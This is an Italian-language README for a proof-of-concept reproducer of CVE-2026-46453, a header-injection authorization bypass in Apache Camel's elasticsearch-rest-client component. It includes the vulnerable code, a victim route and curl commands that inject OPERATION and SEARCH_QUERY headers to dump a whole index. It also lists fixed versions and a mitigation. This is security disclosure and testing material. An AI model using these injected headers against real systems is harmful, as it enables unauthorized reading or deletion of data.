Riproduttore dell'iniezione di header senza prefisso in camel-elasticsearch-rest-client (CVE-2026-46453)

Questo progetto dimostra un'iniezione di header nei messaggi / bypass dell'autorizzazione nel componente camel-elasticsearch-rest-client di Apache Camel, tracciato come CVE-2026-46453. Il componente legge diversi header di Exchange per controllare il suo comportamento — SEARCH_QUERY, OPERATION, INDEX_NAME, INDEX_SETTINGS, ID. Nelle versioni interessate questi valori stringa degli header sono nomi semplici, senza prefisso ("OPERATION", "SEARCH_QUERY", …) invece dei nomi con prefisso Camel che ogni altro componente usa. La HttpHeaderFilterStrategy in ingresso di Camel blocca solo i nomi che iniziano con Camel/camel, quindi questi header superano il filtro in ingresso senza modifiche. Quando una route espone un punto di ingresso HTTP (es. platform-http) davanti a un produttore elasticsearch-rest-client, un client HTTP non fidato può impostare questi header direttamente e sovrascrivere la query e l'operazione configurate dall'autore della route — leggendo l'intero indice, cancellando documenti, ecc. Non sono richieste credenziali.

Avviso: https://camel.apache.org/security/CVE-2026-46453.html

Riepilogo della vulnerabilità

Stessa famiglia di iniezioni di header di CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 e CVE-2026-47323 — tutte originate da componenti che leggono header in ingresso che la HeaderFilterStrategy predefinita non blocca perché i nomi non iniziano con il prefisso Camel.

Dettagli tecnici

// ElasticSearchRestClientConstant - versione 4.18.2 interessata (valori senza prefisso)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";

// ElasticsearchRestClientProducer#resolveOperation - l'header vince sull'operazione configurata nell'endpoint
ElasticsearchRestClientOperation operation
        = exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);

HttpHeaderFilterStrategy blocca solo Camel*/camel*, quindi un header HTTP in ingresso OPERATION: SEARCH (e SEARCH_QUERY: {...}) passa e sovrascrive l'operation=GET_BY_ID dell'autore della route. La correzione (4.14.8 / 4.18.3 / 4.21.0) rinomina i valori in CamelElasticsearchOperation, CamelElasticsearchSearchQuery, ecc., così il filtro in ingresso li blocca (i nomi dei campi Java sono invariati).

La route vittima

from("platform-http:/products")
    .to("elasticsearch-rest-client:reproducer?hostAddressesList=<host:port>&operation=GET_BY_ID&indexName=products");
    // l'autore della route intende una singola operazione sicura: recuperare un documento per id

Una richiesta HTTP di un attaccante con OPERATION: SEARCH + SEARCH_QUERY: {"query":{"match_all":{}}} sovrascrive tutto e scarica l'intero indice.

Struttura del repository

La vittima è la route Camel; l'attaccante è qualsiasi client HTTP che possa raggiungere l'endpoint platform-http. Il riproduttore esegue un Elasticsearch reale in Docker e l'app Camel sull'host (l'app parla con ES tramite la porta mappata).

CVE-2026-46453/
├── pom.xml                 # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml      # Elasticsearch 8.15.3 (sicurezza disabilitata)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── EsSeeder.java           # inserisce un documento "public" e uno "secret"
    │   ├── VictimRoute.java        # platform-http -> elasticsearch-rest-client (GET_BY_ID)
    │   └── ExploitController.java  # attaccante: GET_BY_ID legittimo vs OPERATION=SEARCH iniettato
    └── resources/
        └── application.properties

Prerequisiti

• Java 17+ e Maven 3.8+
• Docker (esegue Elasticsearch)

Passaggi per la riproduzione

Passo 1: Avviare Elasticsearch

docker compose up -d
# attendere fino a quando è pronto:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/     # -> 200

Passo 2: Compilare ed eseguire l'app (sull'host, in comunicazione con il container ES)

mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# all'avvio l'app inserisce nell'indice 'products' un documento public e uno secret

Passo 3: Attivare l'iniezione di header

curl -s http://localhost:8080/exploit/attack
# === 1) Richiesta legittima (ID=public-1) ===
#   {"name":"Public Widget","visibility":"public"}      segreto divulgato: false
# === 2) Richiesta di attacco (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
#   [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ]   segreto divulgato: true
#
# >>> Prova dell'iniezione di header — l'attaccante ha sovrascritto l'operazione e letto l'intero indice: true

Si può anche fare a mano — gli header iniettati superano direttamente il filtro in ingresso di platform-http:

# legittimo: il GET_BY_ID dell'autore della route restituisce solo il documento public
curl -s -H "ID: public-1" http://localhost:8080/products
# attacco: sovrascrivere l'operazione e scaricare l'intero indice (incluso il segreto)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products

Pulizia

docker compose down

Vettori di attacco

Qualsiasi route che espone un punto di ingresso HTTP davanti a un produttore elasticsearch-rest-client. L'attaccante imposta OPERATION, SEARCH_QUERY, INDEX_NAME, INDEX_SETTINGS o ID sulla richiesta HTTP in ingresso; questi bypassano il filtro in ingresso basato sul prefisso Camel e raggiungono il produttore.

Condizioni di sfruttamento

1. Un consumatore HTTP (es. platform-http) che instrada verso un produttore elasticsearch-rest-client su una versione interessata.
2. La HttpHeaderFilterStrategy predefinita (blocca solo Camel*), che non copre gli header ES senza prefisso.

Correzione consigliata

Aggiornare a 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23508), che aggiunge il prefisso Camel ai valori degli header così il filtro in ingresso li blocca.

Mitigazione

In attesa dell'aggiornamento, rimuovere gli header interessati dai messaggi in ingresso non fidati prima del produttore:

.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")

oppure applicare una HeaderFilterStrategy personalizzata che blocchi questi nomi.

Dichiarazione di non responsabilità

Questo riproduttore è fornito solo per ricerca di sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarlo contro sistemi senza autorizzazione esplicita.